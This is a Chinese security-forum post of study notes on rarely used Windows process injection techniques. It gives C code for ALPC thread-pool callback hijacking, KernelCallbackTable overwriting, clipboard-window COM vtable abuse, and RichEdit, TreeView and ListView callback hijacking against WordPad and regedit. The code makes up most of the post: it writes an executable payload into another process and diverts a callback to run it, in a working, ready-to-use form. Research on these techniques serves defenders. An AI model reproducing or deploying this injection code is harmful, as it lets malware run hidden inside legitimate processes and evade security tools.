Windows不太常见的进程注入学习小记(二)
本文为看雪论坛精华文章
看雪论坛作者ID:不懂就不懂
本文为《Windows不太常见的进程注入学习小记》系列第二篇。
第一篇链接: Windows不太常见的进程注入学习小记(一)
目录
0x00 前前言
利用ALPC来实现进程注入
0x01前言
0x02 注入
0x03 参考文章
对KernelCallbackTable HOOK实现进程注入
0x01 前言
0x02 注入
0x03 参考文章
利用CLIPBRDWNDCLASS窗口类实现进程注入
0x01 前言
0x02 注入
0x03 参考文章
利用RICHEDIT控件
0x01 前言
0x02 EM_SETWORDBREAKPROC
0x03 EM_STREAMIN
0x04 EM_GETOLECALLBACK
0x05 TVM_SORTCHILDRENCB
0x06 LVM_SORTITEMS
0x07 参考文章
0x00 前前言
利用ALPC来实现进程注入
0x01前言
typedef struct _TP_CALLBACK_OBJECT {
ULONG RefCount;
PVOID CleanupGroupMember;
PTP_CLEANUP_GROUP CleanupGroup;
PTP_CLEANUP_GROUP_CANCEL_CALLBACK CleanupGroupCancelCallback;
PTP_SIMPLE_CALLBACK FinalizationCallback;
LIST_ENTRY WorkList;
ULONG64 Barrier;
ULONG64 Unknown1;
SRWLOCK SharedLock;
TP_SIMPLE_CALLBACK Callback;
PACTIVATION_CONTEXT ActivationContext;
ULONG64 SubProcessTag;
GUID ActivityId;
BOOL WorkingOnBehalfTicket;
PVOID RaceDll;
PTP_POOL Pool;
LIST_ENTRY GroupList;
ULONG Flags;
TP_SIMPLE_CALLBACK CallerAddress;
TP_CALLBACK_PRIORITY CallbackPriority;
} TP_CALLBACK_OBJECT, *PTP_CALLBACK_OBJECT;
typedef struct _TP_SIMPLE_CALLBACK {
PVOID Function;
PVOID Context;
} TP_SIMPLE_CALLBACK;
0x02 注入
pi->hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi->pid);
if(pi->hp==NULL) return FALSE;
for(len=MAX_BUFSIZ;;len+=MAX_BUFSIZ) {
list = xmalloc(len);
status = NtQuerySystemInformation(
SystemHandleInformation, list, len, &total);
// break from loop if ok
if(NT_SUCCESS(status)) break;
// free list and continue
xfree(list);
}
判断句柄所属进程的pid是不是目标进程
判断句柄类型是不是45...文章说不同的操作系统版本这个值不太一样,windows10是45。 如果都是的话就将句柄对象拷贝至进程空间,获取对象的名字,判断不为空就将该对象名字入vector。获取ALPC端口对象的名字是为了之后与该端口进行连接操作。
for(i=0; i<hl->NumberOfHandles; i++) {
if(hl->Handles[i].UniqueProcessId != pi->pid) continue;
if(hl->Handles[i].ObjectTypeIndex != 45) continue;
// duplicate the handle object
status = NtDuplicateObject(
pi->hp, (HANDLE)hl->Handles[i].HandleValue,
GetCurrentProcess(), &hObj, 0, 0, 0);
// continue with next entry if we failed
if(!NT_SUCCESS(status)) continue;
// try query the name
status = NtQueryObject(hObj,
ObjectNameInformation, objName, 8192, NULL);
// got it okay?
if(NT_SUCCESS(status) && objName->Name.Buffer!=NULL) {
// save to list
pi->ports.push_back(objName->Name.Buffer);
}
// close handle object
NtClose(hObj);
}
根据该结构所属的内存的属性来搜索。
BOOL IsValidTCO(HANDLE hProcess, PTP_CALLBACK_OBJECT tco) {
MEMORY_BASIC_INFORMATION mbi;
SIZE_T res;
// if it's a callback, these values shouldn't be empty
if(tco->CleanupGroupMember == NULL ||
tco->Pool == NULL ||
tco->CallerAddress.Function == NULL ||
tco->Callback.Function == NULL) return FALSE;
// the CleanupGroupMember should reside in read-only
// area of image
res = VirtualQueryEx(hProcess,
(LPVOID)tco->CleanupGroupMember, &mbi, sizeof(mbi));
if (res != sizeof(mbi)) return FALSE;
if (!(mbi.Protect & PAGE_READONLY)) return FALSE;
if (!(mbi.Type & MEM_IMAGE)) return FALSE;
// the pool object should reside in read+write memory
res = VirtualQueryEx(hProcess,
(LPVOID)tco->Pool, &mbi, sizeof(mbi));
if (res != sizeof(mbi)) return FALSE;
if (!(mbi.Protect & PAGE_READWRITE)) return FALSE;
// the caller function should reside in read+executable memory
res = VirtualQueryEx(hProcess,
(LPCVOID)tco->CallerAddress.Function, &mbi, sizeof(mbi));
if (res != sizeof(mbi)) return FALSE;
if (!(mbi.Protect & PAGE_EXECUTE_READ)) return FALSE;
// the callback function should reside in read+executable memory
res = VirtualQueryEx(hProcess,
(LPCVOID)tco->Callback.Function, &mbi, sizeof(mbi));
if (res != sizeof(mbi)) return FALSE;
return (mbi.Protect & PAGE_EXECUTE_READ);
}
如果搜索到了就判断这个结构体所属模块是否是RPCRT4.dll。
bFound=IsValidTCO(pi->hp, &tco);
if(bFound) {
// obtain module name where callback resides
GetMappedFileName(pi->hp, (LPVOID)tco.Callback.Function, filename, MAX_PATH);
// filter by RPCRT4.dll
if(StrStrI(filename, L"RPCRT4.dll")!=NULL) {
wprintf(L"Found TCO at %p for %s\n", addr+pos, filename);
// try run payload using this TCO
// if successful, end scan
bInject = ALPC_deploy(pi, addr+pos, &tco);
if (bInject) break;
}
}
如果属于对的模块,那么就是真的找到了该结构。
然后对这个结构进行HOOK操作。
BOOL ALPC_deploy(process_info *pi, LPVOID ds, PTP_CALLBACK_OBJECT tco) {
LPVOID cs = NULL;
BOOL bInject = FALSE;
TP_CALLBACK_OBJECT cpy; // local copy of tco
SIZE_T wr;
TP_SIMPLE_CALLBACK tp;
DWORD i;
// allocate memory in remote for payload and callback parameter
cs = VirtualAllocEx(pi->hp, NULL,
pi->payloadSize + sizeof(TP_SIMPLE_CALLBACK),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (cs != NULL) {
// write payload to remote process
WriteProcessMemory(pi->hp, cs, pi->payload, pi->payloadSize, &wr);
// backup TCO
CopyMemory(&cpy, tco, sizeof(TP_CALLBACK_OBJECT));
// copy original callback address and parameter
tp.Function = cpy.Callback.Function;
tp.Context = cpy.Callback.Context;
// write callback+parameter to remote process
WriteProcessMemory(pi->hp, (LPBYTE)cs + pi->payloadSize, &tp, sizeof(tp), &wr);
// update original callback with address of payload and parameter
cpy.Callback.Function = cs;
cpy.Callback.Context = (LPBYTE)cs + pi->payloadSize;
// update TCO in remote process
WriteProcessMemory(pi->hp, ds, &cpy, sizeof(cpy), &wr);
// trigger execution of payload
for(i=0;i<pi->ports.size(); i++) {
ALPC_Connect(pi->ports[i]);
// read back the TCO
ReadProcessMemory(pi->hp, ds, &cpy, sizeof(cpy), &wr);
// if callback pointer is the original, we succeeded.
bInject = (cpy.Callback.Function == tco->Callback.Function);
if(bInject) break;
}
// restore the original tco
WriteProcessMemory(pi->hp, ds, tco, sizeof(cpy), &wr);
// release memory for payload
VirtualFreeEx(pi->hp, cs,
pi->payloadSize+sizeof(tp), MEM_RELEASE);
}
return bInject;
}
0x03 参考文章
对KernelCallbackTable
HOOK实现进程注入
0x01 前言
typedef struct _PEB
{
BOOLEAN InheritedAddressSpace; // These four fields cannot change unless the
BOOLEAN ReadImageFileExecOptions; //
BOOLEAN BeingDebugged; //
BOOLEAN SpareBool; //
HANDLE Mutant; // INITIAL_PEB structure is also updated.
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PVOID FastPebLockRoutine;
PVOID FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PVOID KernelCallbackTable;
// ...snipped
typedef struct _KERNELCALLBACKTABLE_T {
ULONG_PTR __fnCOPYDATA;
ULONG_PTR __fnCOPYGLOBALDATA;
ULONG_PTR __fnDWORD;
ULONG_PTR __fnNCDESTROY;
ULONG_PTR __fnDWORDOPTINLPMSG;
ULONG_PTR __fnINOUTDRAG;
ULONG_PTR __fnGETTEXTLENGTHS;
ULONG_PTR __fnINCNTOUTSTRING;
ULONG_PTR __fnPOUTLPINT;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT;
ULONG_PTR __fnINLPCREATESTRUCT;
ULONG_PTR __fnINLPDELETEITEMSTRUCT;
ULONG_PTR __fnINLPDRAWITEMSTRUCT;
ULONG_PTR __fnPOPTINLPUINT;
ULONG_PTR __fnPOPTINLPUINT2;
ULONG_PTR __fnINLPMDICREATESTRUCT;
ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT;
ULONG_PTR __fnINLPWINDOWPOS;
ULONG_PTR __fnINOUTLPPOINT5;
ULONG_PTR __fnINOUTLPSCROLLINFO;
ULONG_PTR __fnINOUTLPRECT;
ULONG_PTR __fnINOUTNCCALCSIZE;
ULONG_PTR __fnINOUTLPPOINT5_;
ULONG_PTR __fnINPAINTCLIPBRD;
ULONG_PTR __fnINSIZECLIPBRD;
ULONG_PTR __fnINDESTROYCLIPBRD;
ULONG_PTR __fnINSTRING;
ULONG_PTR __fnINSTRINGNULL;
ULONG_PTR __fnINDEVICECHANGE;
ULONG_PTR __fnPOWERBROADCAST;
ULONG_PTR __fnINLPUAHDRAWMENU;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_;
ULONG_PTR __fnOUTDWORDINDWORD;
ULONG_PTR __fnOUTLPRECT;
ULONG_PTR __fnOUTSTRING;
ULONG_PTR __fnPOPTINLPUINT3;
ULONG_PTR __fnPOUTLPINT2;
ULONG_PTR __fnSENTDDEMSG;
ULONG_PTR __fnINOUTSTYLECHANGE;
ULONG_PTR __fnHkINDWORD;
ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT;
ULONG_PTR __fnHkINLPCBTCREATESTRUCT;
ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX;
ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPMSG;
ULONG_PTR __fnHkINLPRECT;
ULONG_PTR __fnHkOPTINLPEVENTMSG;
ULONG_PTR __xxxClientCallDelegateThread;
ULONG_PTR __ClientCallDummyCallback;
ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT;
ULONG_PTR __fnOUTLPCOMBOBOXINFO;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2;
ULONG_PTR __xxxClientCallDevCallbackCapture;
ULONG_PTR __xxxClientCallDitThread;
ULONG_PTR __xxxClientEnableMMCSS;
ULONG_PTR __xxxClientUpdateDpi;
ULONG_PTR __xxxClientExpandStringW;
ULONG_PTR __ClientCopyDDEIn1;
ULONG_PTR __ClientCopyDDEIn2;
ULONG_PTR __ClientCopyDDEOut1;
ULONG_PTR __ClientCopyDDEOut2;
ULONG_PTR __ClientCopyImage;
ULONG_PTR __ClientEventCallback;
ULONG_PTR __ClientFindMnemChar;
ULONG_PTR __ClientFreeDDEHandle;
ULONG_PTR __ClientFreeLibrary;
ULONG_PTR __ClientGetCharsetInfo;
ULONG_PTR __ClientGetDDEFlags;
ULONG_PTR __ClientGetDDEHookData;
ULONG_PTR __ClientGetListboxString;
ULONG_PTR __ClientGetMessageMPH;
ULONG_PTR __ClientLoadImage;
ULONG_PTR __ClientLoadLibrary;
ULONG_PTR __ClientLoadMenu;
ULONG_PTR __ClientLoadLocalT1Fonts;
ULONG_PTR __ClientPSMTextOut;
ULONG_PTR __ClientLpkDrawTextEx;
ULONG_PTR __ClientExtTextOutW;
ULONG_PTR __ClientGetTextExtentPointW;
ULONG_PTR __ClientCharToWchar;
ULONG_PTR __ClientAddFontResourceW;
ULONG_PTR __ClientThreadSetup;
ULONG_PTR __ClientDeliverUserApc;
ULONG_PTR __ClientNoMemoryPopup;
ULONG_PTR __ClientMonitorEnumProc;
ULONG_PTR __ClientCallWinEventProc;
ULONG_PTR __ClientWaitMessageExMPH;
ULONG_PTR __ClientWOWGetProcModule;
ULONG_PTR __ClientWOWTask16SchedNotify;
ULONG_PTR __ClientImmLoadLayout;
ULONG_PTR __ClientImmProcessKey;
ULONG_PTR __fnIMECONTROL;
ULONG_PTR __fnINWPARAMDBCSCHAR;
ULONG_PTR __fnGETTEXTLENGTHS2;
ULONG_PTR __fnINLPKDRAWSWITCHWND;
ULONG_PTR __ClientLoadStringW;
ULONG_PTR __ClientLoadOLE;
ULONG_PTR __ClientRegisterDragDrop;
ULONG_PTR __ClientRevokeDragDrop;
ULONG_PTR __fnINOUTMENUGETOBJECT;
ULONG_PTR __ClientPrinterThunk;
ULONG_PTR __fnOUTLPCOMBOBOXINFO2;
ULONG_PTR __fnOUTLPSCROLLBARINFO;
ULONG_PTR __fnINLPUAHDRAWMENU2;
ULONG_PTR __fnINLPUAHDRAWMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU3;
ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU4;
ULONG_PTR __fnOUTLPTITLEBARINFOEX;
ULONG_PTR __fnTOUCH;
ULONG_PTR __fnGESTURE;
ULONG_PTR __fnPOPTINLPUINT4;
ULONG_PTR __fnPOPTINLPUINT5;
ULONG_PTR __xxxClientCallDefaultInputHandler;
ULONG_PTR __fnEMPTY;
ULONG_PTR __ClientRimDevCallback;
ULONG_PTR __xxxClientCallMinTouchHitTestingCallback;
ULONG_PTR __ClientCallLocalMouseHooks;
ULONG_PTR __xxxClientBroadcastThemeChange;
ULONG_PTR __xxxClientCallDevCallbackSimple;
ULONG_PTR __xxxClientAllocWindowClassExtraBytes;
ULONG_PTR __xxxClientFreeWindowClassExtraBytes;
ULONG_PTR __fnGETWINDOWDATA;
ULONG_PTR __fnINOUTSTYLECHANGE2;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;
} KERNELCALLBACKTABLE;
0x02 注入
还是根据窗口名获取进程id获取进程句柄。
使用NtQueryInformationProcess传入ProcessBasicInformation来获取目标进程的PEB。
NtQueryInformationProcess(hp,
ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
根据偏移找到KernelCallbackTable
ReadProcessMemory(hp, pbi.PebBaseAddress,
&peb, sizeof(peb), &rd);
ReadProcessMemory(hp, peb.KernelCallbackTable,
&kct, sizeof(kct), &rd);
HOOK KernelCallbackTable 中的fnCOPYDATA。
cs = VirtualAllocEx(hp, NULL, payloadSize,MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 4. Write the new table to remote process
ds = VirtualAllocEx(hp, NULL, sizeof(kct),
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
kct.__fnCOPYDATA = (ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &kct, sizeof(kct), &wr);
// 5. Update the PEB
WriteProcessMemory(hp,
(PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable),
&ds, sizeof(ULONG_PTR), &wr);
发消息触发HOOK
cds.dwData = 1;
cds.cbData = lstrlen(msg) * 2;
cds.lpData = msg;
SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);
恢复KernelCallbackTable
WriteProcessMemory(hp,
(PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable),
&peb.KernelCallbackTable, sizeof(ULONG_PTR), &wr);
0x03 参考文章
利用CLIPBRDWNDCLASS
窗口类实现进程注入
0x01 前言
typedef struct _IUnknown_t {
// a pointer to virtual function table
ULONG_PTR lpVtbl;
// the virtual function table
ULONG_PTR QueryInterface;
ULONG_PTR AddRef;
ULONG_PTR Release; // executed for WM_DESTROYCLIPBOARD
} IUnknown_t;
0x02 注入
hw = FindWindowEx(HWND_MESSAGE, NULL, L"CLIPBRDWNDCLASS", NULL);
GetWindowThreadProcessId(hw, &id);
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
cs = VirtualAllocEx(hp, NULL, payloadSize,MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 3. Allocate RW memory in process.
// Initialize and write IUnknown interface
ds = VirtualAllocEx(hp, NULL, sizeof(IUnknown_t),MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
iu.lpVtbl = (ULONG_PTR)ds + sizeof(ULONG_PTR);
iu.Release = (ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &iu, sizeof(IUnknown_t), &wr);
// 4. Set the interface property and trigger execution
SetProp(hw, L"ClipboardDataObjectInterface", ds);
PostMessage(hw, WM_DESTROYCLIPBOARD, 0, 0);
0x03 参考文章
利用RICHEDIT控件
0x01 前言
EM_SETWORDBREAKPROCG
EM_STREAMIN
EM_GETOLECALLBACK
TVM_SORTCHILDRENCB
LVM_SORTITEMS
0x02 EM_SETWORDBREAKPROC
wpw = FindWindow(L"WordPadClass", NULL);
// 2. Find the rich edit control for wordpad.
rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);
wwf = (LPVOID)SendMessage(rew, EM_GETWORDBREAKPROC, 0, 0);
// 4. Obtain the process id for wordpad.
GetWindowThreadProcessId(rew, &id);
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 7. Write the payload to memory
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 8. Update the callback procedure
SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)cs);
ip.type = INPUT_KEYBOARD;
ip.ki.wVk = 'A';
ip.ki.wScan = 0;
ip.ki.dwFlags = 0;
ip.ki.time = 0;
ip.ki.dwExtraInfo = 0;
SetForegroundWindow(wpw);
SendInput(1, &ip, sizeof(ip));
SendInput(1, &ip, sizeof(ip));
// 10. Restore original Wordwrap function
SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)wwf);
0x03 EM_STREAMIN
typedef struct _editstream
{
DWORD_PTR dwCookie; // User value passed to callback as first parameter
DWORD dwError; // Last error
EDITSTREAMCALLBACK pfnCallback;
} EDITSTREAM;
获取相应进程信息
wpw = FindWindow(L"WordPadClass", NULL);
rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);
// 2. Obtain the process id and try to open process
GetWindowThreadProcessId(rew, &id);
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
申请内存,创建EDITSTREAM对象
// 3. Allocate RWX memory and copy the payload there.
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 4. Allocate RW memory and copy the EDITSTREAM structure there.
ds = VirtualAllocEx(hp, NULL, sizeof(EDITSTREAM),
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
es.dwCookie = 0;
es.dwError = 0;
es.pfnCallback = cs;
WriteProcessMemory(hp, ds, &es, sizeof(EDITSTREAM), &wr);
触发payload
// 5. Trigger payload with EM_STREAMIN
SendMessage(rew, EM_STREAMIN, SF_TEXT, (LPARAM)ds);
0x04 EM_GETOLECALLBACK
typedef struct _IRichEditOle_t {
ULONG_PTR QueryInterface;
ULONG_PTR AddRef;
ULONG_PTR Release;
ULONG_PTR GetClientSite;
ULONG_PTR GetObjectCount;
ULONG_PTR GetLinkCount;
ULONG_PTR GetObject;
ULONG_PTR InsertObject;
ULONG_PTR ConvertObject;
ULONG_PTR ActivateAs;
ULONG_PTR SetHostNames;
ULONG_PTR SetLinkAvailable;
ULONG_PTR SetDvaspect;
ULONG_PTR HandsOffStorage;
ULONG_PTR SaveCompleted;
ULONG_PTR InPlaceDeactivate;
ULONG_PTR ContextSensitiveHelp;
ULONG_PTR GetClipboardData;
ULONG_PTR ImportDataObject;
} _IRichEditOle;
rew = FindWindow(L"WordPadClass", NULL);
rew = FindWindowEx(rew, NULL, L"RICHEDIT50W", NULL);
// 2. Obtain the process id and try to open process
GetWindowThreadProcessId(rew, &id);
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
// 3. Allocate RWX memory and copy the payload there
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 5. Query the interface
SendMessage(rew, EM_GETOLEINTERFACE, 0, (LPARAM)ptr);
// 6. Read the memory address
ReadProcessMemory(hp, ptr, &mem, sizeof(ULONG_PTR), &wr);
// 7. Read IRichEditOle.lpVtbl
ReadProcessMemory(hp, mem, &tbl, sizeof(ULONG_PTR), &wr);
// 8. Read virtual function table
ReadProcessMemory(hp, tbl, &reo, sizeof(_IRichEditOle), &wr);
// 9. Allocate memory for copy of virtual table
ds = VirtualAllocEx(hp, NULL, sizeof(_IRichEditOle),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 10. Set the GetClipboardData method to address of payload
reo.GetClipboardData = (ULONG_PTR)cs;
// 11. Write new virtual function table to remote memory
WriteProcessMemory(hp, ds, &reo, sizeof(_IRichEditOle), &wr);
// 12. update IRichEditOle.lpVtbl
WriteProcessMemory(hp, mem, &ds, sizeof(ULONG_PTR), &wr);
// 13. Trigger payload by invoking the GetClipboardData method
PostMessage(rew, WM_COPY, 0, 0);
0x05 TVM_SORTCHILDRENCB
typedef struct tagTVSORTCB
{
HTREEITEM hParent;
PFNTVCOMPARE lpfnCompare;
LPARAM lParam;
} TVSORTCB, *LPTVSORTCB;
wpw = FindWindow(L"RegEdit_RegEdit", NULL);
tlv = FindWindowEx(wpw, 0, L"SysTreeView32", 0);
// 2. Obtain the process id and try to open process
GetWindowThreadProcessId(tlv, &id);
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
// 3. Allocate RWX memory and copy the payload there.
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
item = (LPVOID)SendMessage(tlv, TVM_GETNEXTITEM, TVGN_ROOT, 0);
tvs.hParent = item;
tvs.lpfnCompare = cs;
tvs.lParam = 0;
// 5. Allocate RW memory and copy the TVSORTCB structure
ds = VirtualAllocEx(hp, NULL, sizeof(TVSORTCB),
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hp, ds, &tvs, sizeof(TVSORTCB), &wr);
// 6. Trigger payload
SendMessage(tlv, TVM_SORTCHILDRENCB, 0, (LPARAM)ds);
0x06 LVM_SORTITEMS
// 1. get the window handle
wpw = FindWindow(L"RegEdit_RegEdit", NULL);
lvm = FindWindowEx(wpw, 0, L"SysListView32", 0);
// 2. Obtain the process id and try to open process
GetWindowThreadProcessId(lvm, &id);
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
// 3. Allocate RWX memory and copy the payload there.
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 4. Trigger payload
PostMessage(lvm, LVM_SORTITEMS, 0, (LPARAM)cs);
// 5. Free memory and close process handle
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);
0x07 参考文章
看雪ID:不懂就不懂
https://bbs.pediy.com/user-795949.htm
*本文由看雪论坛 不懂就不懂 原创,转载请注明来自看雪社区。
推荐文章++++
求分享
求点赞
求在看